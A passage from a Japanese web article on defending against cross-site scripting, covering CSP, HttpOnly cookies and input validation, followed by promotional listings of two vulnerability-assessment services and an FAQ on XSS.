CSPは、ページ内で読み込まれるスクリプトやスタイル、画像などの送信元を制限することで、意図しないスクリプトの実行を防止します。たとえば、自社ドメインから提供されるスクリプトのみを許可するよう設定すれば、仮に攻撃者が別のドメインから悪意あるJavaScriptを読み込もうとしても、ブラウザがそれをブロックするため、被害を回避できます。

以前は X-XSS-Protection ヘッダーも一部ブラウザでサポートされていましたが、近年ではその信頼性や有効性に疑問が持たれており、多くのブラウザで廃止または非推奨となっています。そのため、現在ではCSPが実質的に標準の防御手段として位置づけられています。

CSPは設定が煩雑である反面、適切に導入すれば非常に強力な防御手段となります。まずはスクリプトの実行を制御する最低限のポリシーから導入し、徐々に適用範囲を広げていくのが現実的な運用方法です。

2. CookieへのHttpOnly属性の指定

XSS攻撃の代表的な目的のひとつが、Cookieに保存されたセッション情報の窃取です。これを防ぐための一つの方法として、CookieにHttpOnly属性を付与することが挙げられます。

この属性が設定されたCookieは、JavaScriptからアクセスすることができません。つまり、document.cookie を使ってCookie情報を取得することが不可能になるため、仮にWebページ内でスクリプトが実行されたとしても、セッションIDなどの重要な情報が盗まれるリスクを大幅に下げることができます。

ただし、HttpOnly属性はあくまでJavaScriptからのアクセスを制限するだけであり、Cookieそのものを保護する機能は持ちません。そのため、SSLを利用して通信内容を暗号化すること、Secure属性を併用してHTTPS接続時のみCookieを送信するよう制限することなど、複合的な対策が求められます。

セッション管理やログイン機構に関わるCookieには、必ずこの属性を適用するよう設計段階でルール化しておくことが望まれます。

3. 入力値の内容を確認・制限する(バリデーション)

XSS攻撃は、悪意のある文字列をWebページに挿入することで成立します。
そのため、入力された値に対して正しい形式かどうかを事前に検証し、不正なパターンを拒否するバリデーション処理も、XSS防止に対して一定の効果を持ちます。

たとえば、フォームに入力される値が電話番号や郵便番号のように数字だけで構成されることが想定されている場合、英字や記号が含まれていた時点でエラーとして弾く設計にすることで、不正なスクリプトの挿入を防げます。

また、入力可能な文字種だけでなく、文字数やフォーマットなども含めた制限を加えることで、攻撃の自由度を抑えることが可能です。
たとえば、コメント欄に対して文字数上限を設けておけば、スクリプトを含む長い文字列の入力を阻止できる場合があります。

ただし、バリデーションは万能ではありません。入力値が制限されていても、サーバー側やフロント側で適切な出力処理が行われていなければ、XSSのリスクは依然として残ります。そのため、バリデーションは他の対策と併用してこそ効果を発揮する防御手段です。

加えて、過剰な制限をかけるとユーザーにとっての利便性が下がるため、入力値の用途と文脈に応じて、適切な制限を設計するバランス感覚も求められます。

以上の三つの補助的な対策は、いずれも基本的な対策と並行して導入することで、XSSに対する多層的な防御網を形成する役割を果たします。XSSは攻撃の手法が日々巧妙化しているため、「万全に見える対策」であっても過信せず、複数の視点からセキュリティを補強していく姿勢が重要です

おすすめの脆弱性診断ツール2選

脆弱性診断(株式会社レイ・イージス・ジャパン)

株式会社レイ・イージス・ジャパンが提供する脆弱性診断サービスは、独自開発のAIエンジンによる高速かつ高精度な自動診断と、経験豊富なセキュリティエンジニアによる手動診断を組み合わせることで、FQDN単位の定額料金でコストを抑えながら、XSSをはじめとする多様なWebアプリケーションの脆弱性を網羅的かつ信頼性高く検出し、報告書とともに具体的な対策案まで提供する高品質なセキュリティ対策支援サービスです。

  • 株式会社レイ・イージス・ジャパンの脆弱性診断は、ページ数が多くても網羅的なセキュリティ診断を早く・定額制で・全面委託ができる脆弱性診断サービスです。AIを利用したサイバー攻撃が高度化する中、レイ・イージスが独自に開発したAIエンジン搭載の脆弱性探査ツールを活用して、 効率的なツール診断とベテランのホワイトハッカーである診断エンジニアによる手動診断を組み合わせることで 、脆弱性を高速かつ網羅的に診断します。

    製品のおすすめポイント

    1 OWASP Web Security Testing Guide 等世界基準に沿った診断

    手動+ツール診断は、OWASP Web Security Testing Guidev4.2の107項目のうち、105項目をカバーした網羅的な診断を実施ができます。

    2 全世界で320名以上の有資格者が 最適なプランをご提案

    CISSP、CEH、情報処理安全確保支援士などの有資格者320名以上により、Webアプリケーションに対して最適な診断プランのご提案と、高品質な診断、アフターサポートをご提供いたします。

    3 サービスにご納得いただくため 診断後のサポート機能を充実化

    アフターサポート*として、メールでの診断結果お問合せに回答いたします。
    ペネトレーションテストでは、更にご納得いただくまで初回診断後1年間何回でも再診断のご依頼の対応いたします。
    *その他のアフターサポートとして再診断・報告会が含まれるサービスもございます。

    ソフト種別 なし
    基本的な機能 スマホアプリ(iOS・Android)診断 クロスサイトスクリプティング Webアプリケーション診断 SQLインジェクション デスクトップアプリ診断
    サポート メール
    トライアル 無し
    最低利用期間 最低利用期間の制限なし
    よく導入している業種 金融 IT・情報通信
    運営企業:
    株式会社レイ・イージス・ジャパン
    本社:
    東京都新宿区西新宿7−22−33 Polar 西新宿4階
    創立:
    2019年10月10日
    代表者名:
    青木 登
    資本金:
    98,000,000円
    URL:
    https://www.rayaegis.co.jp/

Web Doctor

Web Doctorは、日本RA株式会社が提供するSaaS型の自動脆弱性診断サービスで、WebサイトやWebアプリケーションに潜むセキュリティ上の脆弱性を、インターネット経由で外部から擬似的な攻撃を実行することにより検出・評価することができます。外部のインフラやシステムにアクセス可能であれば、専用のソフトウェアや機器を導入することなく利用できるクラウド型のサービスであり、診断対象のFQDNやURLを指定するだけで、SQLインジェクションやクロスサイトスクリプティング(XSS)など、IPA(情報処理推進機構)によって定義された代表的なWeb脆弱性に幅広く対応しています。

診断結果は、リスクの高低を判定したうえで詳細なレポートとして出力され、脆弱性の原因や修正のための具体的な対策方法も明示されるため、技術者だけでなく非エンジニアの担当者でも理解しやすい構成となっています。また、定期的な診断にも対応しており、Webサイトのリニューアルや新機能の追加時に合わせて継続的なセキュリティチェックを行うことが可能です。

料金体系も明確で、スポット診断から定期契約まで柔軟に対応しており、セキュリティにコストをかけすぎられない中小規模の事業者や医療機関、教育機関などにも導入しやすい点が特徴です。総じて、Web Doctorは、コストパフォーマンスと操作性に優れ、初めて脆弱性診断を行う企業から、継続的にセキュリティを確保したい組織まで、幅広いニーズに応える自動診断ソリューションです。

  • 脆弱性診断ツール/サービス

    日本RA株式会社のWeb Doctorは、SaaS型の診断用ツールを利用したWebサイトの自動脆弱性診断サービスです。インターネット経由で疑似攻撃を行う形で診断します。Web サーバーへのアプリケーションのインストールや、専用ハードの設置などは一切不要で、簡単なお申し込みだけですぐに始められるのが特長です。診断開始から3~5営業日で診断レポートを提出するので、スピーディに現状を把握することができます。

    製品のおすすめポイント

    1 経済産業省が定めた、情報セキュリティサービス台帳の認可サービス

    情報セキュリティサービス台帳の認可サービスです。経済産業省が定めた「情報セキュリティサービスに関する審査登録機関基準」への適合性を情報セキュリティサービス基準審査登録委員会が審査し、適合とされたサービスのみが掲載されており、当サービスはその一つで、高い信頼性があります。

    2 豊富な診断実績に加え、ツールによる自動診断で低コスト

    Web Doctorの開発元である株式会社M&K(Security Blanket)は、診断事業者として10年以上の実績があり、年間に約500サイトの診断を実施しているので安心感があります。新たに発見された脆弱性にも即時に対応できます。また、ツールによる自動診断なので専門スタッフによる診断より低コストで実施できます。

    3 お問い合わせから診断まで丁寧なフローでサポート

    丁寧な進行が魅力です。まずは対象のWebサイト・Webアプリケーションに関して簡単なヒアリングを行います。ヒアリングの際に、診断範囲や診断に対する希望等についても確認し、疑問点がある場合は、このヒアリングの段階で確認できます。ヒアリング後、調整の上で診断日を決定してから、正式に申し込みとなります。

    ソフト種別 クラウド型ソフト
    基本的な機能 クロスサイトスクリプティング サーバ設定 SQLインジェクション Webアプリケーション診断 HttpOnly属性が付与されていないCookieの利用 X-Content-Type-Optionsヘッダの未設定 オープンリダイレクタ X-Frame-Optionsヘッダの未設定 アプリケーションエラーの開示 ヘッダインジェクション プラットフォーム診断 デスクトップアプリ診断
    サポート 電話 メール
    トライアル 無し
    最低利用期間 最低利用期間の制限なし
    よく導入している業種 小売・流通 金融 公共機関・非営利団体 旅行・宿泊・飲食 人材サービス
    運営企業:
    日本RA株式会社
    本社:
    東京都港区東新橋2丁目1番6号 プリプラビル5階
    創立:
    2011年6月
    代表者名:
    眞柄 泰利
    資本金:
    1億円
    URL:
    https://www.nrapki.jp/

自社のセキュリティ状態の把握には脆弱性診断

クロスサイトスクリプティング(XSS)は、その対策を必要とする範囲の広さと攻撃パターンの多様性により、完全な保護を実現することが難しい脆弱性です。根本的な対策を施しても、新たな攻撃手法の出現や見落としがあると、防御が不十分になる恐れがあります。

このような不安を感じる場合、脆弱性診断サービスを利用するか、脆弱性スキャナーツールを導入することを検討することをお勧めします。上記の手段により、クロスサイトスクリプティング(XSS)攻撃を含む幅広いセキュリティ脆弱性を定期的に検出し、対応することが可能になります。

脆弱性診断は、自社のWebサイトやアプリケーションのセキュリティ状態を把握し、潜在的なリスクを事前に特定するための効果的な手段です。自社でのセキュリティ対策に加えて脆弱性診断を定期的に実施することで、セキュリティ対策の漏れを最小限に抑え、より高いセキュリティレベルを維持できるでしょう。

よくある質問

XSS脆弱性とは何ですか?

XSS(クロスサイトスクリプティング)脆弱性とは、悪意のあるスクリプトがウェブサイト上で実行されるセキュリティの弱点です。この脆弱性が悪用されると、ユーザーの個人情報が盗まれたり、画面が改ざんされる可能性があります。

XSS攻撃にはどのような種類がありますか?

XSS攻撃には「反射型」「保存型」「DOMベース」の3種類があります。反射型はユーザーがリンクをクリックする際に発動し、保存型はサーバーに保存されたデータを通して影響を及ぼし、DOMベースはクライアント側の操作によって引き起こされます。

XSS脆弱性が発生する原因は何ですか?

XSS脆弱性の主な原因は、不適切な入力処理やエスケープ不足です。ユーザーからの入力がそのまま出力される場合や、HTMLやJavaScriptとして解釈される場面で、スクリプトが実行されるリスクが高まります。

XSS脆弱性を防ぐ方法はありますか?

XSS脆弱性を防ぐには、入力データのエスケープやHTMLエンコード、適切なコンテンツセキュリティポリシー(CSP)の設定が有効です。また、信頼できるフレームワークやライブラリを活用して、セキュアなコーディングを心掛けることも重要です。

XSS脆弱性が発見された場合の対応方法は?

発見された場合、まずは脆弱性が発生している箇所を修正し、エスケープ処理やCSPの実装を行います。また、脆弱性管理ツールで継続的に監視し、再発防止に努めることが推奨されます。

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